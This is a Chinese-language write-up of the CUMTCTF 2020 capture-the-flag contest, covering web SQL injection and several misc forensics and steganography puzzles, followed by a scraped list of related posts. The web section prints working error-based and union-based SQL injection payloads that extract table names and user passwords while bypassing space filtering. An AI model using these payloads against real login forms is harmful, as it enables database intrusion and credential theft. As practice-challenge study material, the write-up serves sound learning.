CUMTCTF'2020 未完成 wp
Web
babysqli
burp抓包,发现有 的过滤,用/**/过滤空格。
报错注入
payload
username=admin&password='/**/or/**/extractvalue(1,concat(1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/x,1)))#,变更x的值,找到表,进而找列,然后查字段最终找到flag
这里可以发现flag后面半段没有显示,改
password为mid(password,20,30)即可回显后半部分。联合注入
最麻烦的地方是
order被过滤掉了,需要手动一个一个尝试有几列payload
username=admin&password='/**/union/**/select/**/1,2,3,(select/**/password/**/from/**/users/**/limit/**/7,1),5,6,7,8#一直尝试到8发现回显了4,再把4位置改为select...即可
剩下的4道web题,我是真的做不下去了,题解和视频都看不懂,感觉已经到了一个瓶颈,接下来的一个月尝试学一下开发。
Misc
能看到我吗
要注意文件名的提示
题目得到一张number.jpg文件,扔进010却发现头为pk,改后缀为zip得到压缩包文件。

!!!重点来了!!!
得到了number.zip压缩包后呢,我下意识还是看了看是不是伪加密,前不久做了好几道伪加密的题,但010查看发现却是真加密,改的话文件会损坏,于是我花了很久很久时间捣鼓密码是啥,把大写小写数字组合全都试了(只试了7位数,组合的话超过7位数爆破时间差不多要几个小时),都还是失败...
重点就在压缩包的名字number.zip,这不都告诉你密码是纯数字了吗???看到题解我要哭出来了...

得到密码后又得到一张图片,扔进010也没啥信息,丢到kali binwalk看一下。

发现有两张图片,foremost拿出来,发现是两张一模一样的图片..之前在攻防世界有做过盲水印的题,用脚本得到最终flag

别做题了听歌吧
这题真的就到最后一步 我要吐血了..
拿到《anheqiao》音频文件,二话不说放进audacity里,半天啥也没看出来,联系到提示:别问,问就是cumt,猜测是音频隐写,加密密码为cumt

打开txt文本发现有大小但是是空的,看来又是隐写,用010打开发现一堆0909 2020 0D0A的玩意,然后我感觉这个有点像摩斯编码,于是写脚本去试了试

然后去在线摩斯编码转换网站试试:

单纯的我只是觉得这是一串没有任何规律的乱码,然后又去试了试排列组合,但都能没出现类似CUMTCTF这样明显的flag,...看到题解我才发现,原来这一串乱码加上CUMTCTF{}就是flag..(乱码的后面 AND8MP3ST390!!已经有提示了)
兔兔那么可爱
下载得到一个flag文件和一张很多兔子的图片,提示:图片内没有任何与flag相关的信息,很多数学家都喜欢兔兔
,把flag文件扔进010。

可以发现我们想要的flag前缀 CUMTCTF 对应位置:
0 1 2 4 7 12 除了第一个和第二后 ,后面每一个都是前两个相加+1,破案了!!就是喜欢兔子的数学家斐波那契,python脚本
string=''
with open('flag', 'r') as f:
string = f.read()
a=0
b=0
for i in range(0,26):
c=a+b+1
a=b
b=c
print(string[a],end="")

为什么是26次呢,这个可以通过len(string)得到长度然后慢慢试的。
大鲨鱼之你可使劲找
这题感谢魔龙学长的指点
下载得到流量包,在wireshark里面看一下,搜索flag发现是二分法盲注爆数据库,追踪tcp流,把数据全部复制在txt里粘贴出来一个一个分析,因为有很多流(我之前只分析了一个..),可以根据CUMTCTF第一个字符C的ascii值67去判断数据在哪一个流里。

这里>66是正确的,又是最后一个,所以第一个字符ASCII为67即为C,把数据所有76前的保存下来转码。
b=[67,85,77,84,67,84,70,123,99,101,99,99,49,51,57,52,45,54,49,51,51,45,52,51,100,48,45,98,101,48,54,45,97,52,49,99,53,102,50,51,49,100,100,52,125,32]
for i in range (len(b)):
print(chr(b[i]),end='')
这从上千条数据里找到这40多条,真的麻了..
残缺的大鲨鱼
这道题真的考验耐性和细致。
下载得到流量包,在wireshark里面看一下,搜索发现flag.zip文件,跟踪tcp,把原始数据复制转移到010里,把50 4B前的http信息全部删了,保存为zip文件。

压缩得到flag文件,扔进010

在尾部发现 D8 FF,FF D8是图片文件的文件头,猜测是flag是反过来的图片文件,python还原。
string=''
with open('flag','rb') as f:
string=f.read()
with open('flag.jpg','wb') as w:
w.write(string[::-1])
好吧又是一张图片,扔进010里看一下..

观察可以发现,图片内藏有bbxxss.txt文件,但用kali foremost并没能分离出来,应该是缺少了文件头,搜索压缩包文件头后面有 03 04 14 00 ,在前面补上50 4B保存,即可保存为zip文件解压(或者foremost分离出来),得到bbxxss.txt。

在卢学长的指点下,利用emoji解码即可。

时光机
明天补上吧 需要git知识..
CUMTCTF'2020 未完成 wp的更多相关文章
- CUMTCTF'2020 已做wp
三天的比赛终于结束了,不知道有没有睡10个小时,感觉像中了魔一样,但也很享受这种感觉,除了没有能和我一起琢磨题目朋友.. 就最终结果而言还是有一些可惜,明明号称擅长web和misc反而是得分比例最小的 ...
- 2020 10月CUMTCTF wp
华为杯 × 签到杯√ 论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧 Web babyflask flask ssti模板注入: payload{{key}}发现[]以及类似 ...
- 2020 网鼎杯wp
2020 网鼎杯WP 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录 AreUSerialz 知识点:反序列化 打开链接直接给出源码 <?php include ...
- MRCTF 2020 WP
MRCTF 2020 WP 引言 周末趁上课之余,做了一下北邮的CTF,这里记录一下做出来的几题的WP ez_bypass 知识点:MD5强类型比较,is_numeric()函数绕过 题目源码: I ...
- i春秋2020新春公益赛WP
Re Factory 主函数fork了一个子进程,父进程添加了一个信号处理器用于比对input,然后死循环挂起.子进程读入input,然后调用了关键函数. 跟进关键函数,发现是从一段内存中读取数据,然 ...
- 2020.08.31 Unit 10(暂未完成)
[重点短语] 01.at night 在晚上 02.in a more natural environment 在一个更加自然的环境中 03.all year round 一年到头,终年 04.be ...
- 2020 DJBCTF RE wp
1.anniu 吐槽:浓浓一股杂项的味道,妈的,用xspy和resource har加ida死活搜不到回调函数,淦 下一个灰色按钮克星,直接把灰色的按钮点亮,直接点击就可以出了,软件下载链接:http ...
- 2020 天翼杯 部分wp
天翼杯 呜呜呜呜 是我太菜了 Web APItest 源码 const express = require("express"); const cors = require(&qu ...
- xss挑战之旅wp
Level 1 - 180831 第一关很简单,开胃菜 payload: http://localhost/xss_game/level1.php?name=test123<script&g ...
随机推荐
- C语言如何动态分配二维数组
C语言如何动态分配二维数组(转载) 原文链接:https://www.cnblogs.com/0xWitch/p/9314621.html 使用malloc().free()函数进行动态分配,这两个函 ...
- Mysql宽字节注入 ---学习笔记
转自:https://blog.csdn.net/niexinming/article/details/49109683 先补充一点背景:大 家都知道PHP在开启magic_quotes_gpc或者使 ...
- 牛顿迭代法解非线性方程组(MATLAB版)
牛顿迭代法,又名切线法,这里不详细介绍,简单说明每一次牛顿迭代的运算:首先将各个方程式在一个根的估计值处线性化(泰勒展开式忽略高阶余项),然后求解线性化后的方程组,最后再更新根的估计值.下面以求解最简 ...
- python之结合if条件判断和生成随机数的相关知识,完成石头剪刀布的游戏
程序开始,显示下面提示信息: 请输入:剪刀(0).石头(1).布(2): 用户输入数字0-2中的一个数字,与系统随机生成的数字比较后给出结果信息. 例如:输入0后,显示如下 你的输入为:剪刀(0) 随 ...
- 19_Python算法
1.冒泡算法 list = [1, 5, 2, 6, 9, 3, 4, 0] print(len(list)) # conunt = 1 while conunt < len(list): fo ...
- opencv-python函数
opencv-python读取.展示和存储图像 1.imshow函数 imshow函数作用是在窗口中显示图像,窗口自动适合于图像大小,我们也可以通过imutils模块调整显示图像的窗口的大小.函数官方 ...
- leetcode刷题-73矩阵置零
题目 给定一个 m x n 的矩阵,如果一个元素为 0,则将其所在行和列的所有元素都设为 0.请使用原地算法. 示例 1: 输入: [ [1,1,1], [1,0,1], [1,1,1]]输出: ...
- ARM函数调用总结
ARM架构寄存器介绍 ARM架构下处理器有7种工作模式: 1. USR模式:正常用户模式,在USR模式下进程正常执行 2. FIQ模式(Fast Interrupt Request):处理快速中断模式 ...
- Java实现获取命令行中获取指定数据
执行ipconfig /all获取主机所有网卡信息并分析这些字符串,提取出有效网卡(网卡名称,mac地址,ipv4地址,掩码,网关,dns)将网卡插入HashMap中,key是网卡的名称,value是 ...
- 《ASP.NET Core项目开发实战入门》带你走进ASP.NET Core开发
<ASP.NET Core项目开发实战入门>从基础到实际项目开发部署带你走进ASP.NET Core开发. ASP.NET Core项目开发实战入门是基于ASP.NET Core 3.1 ...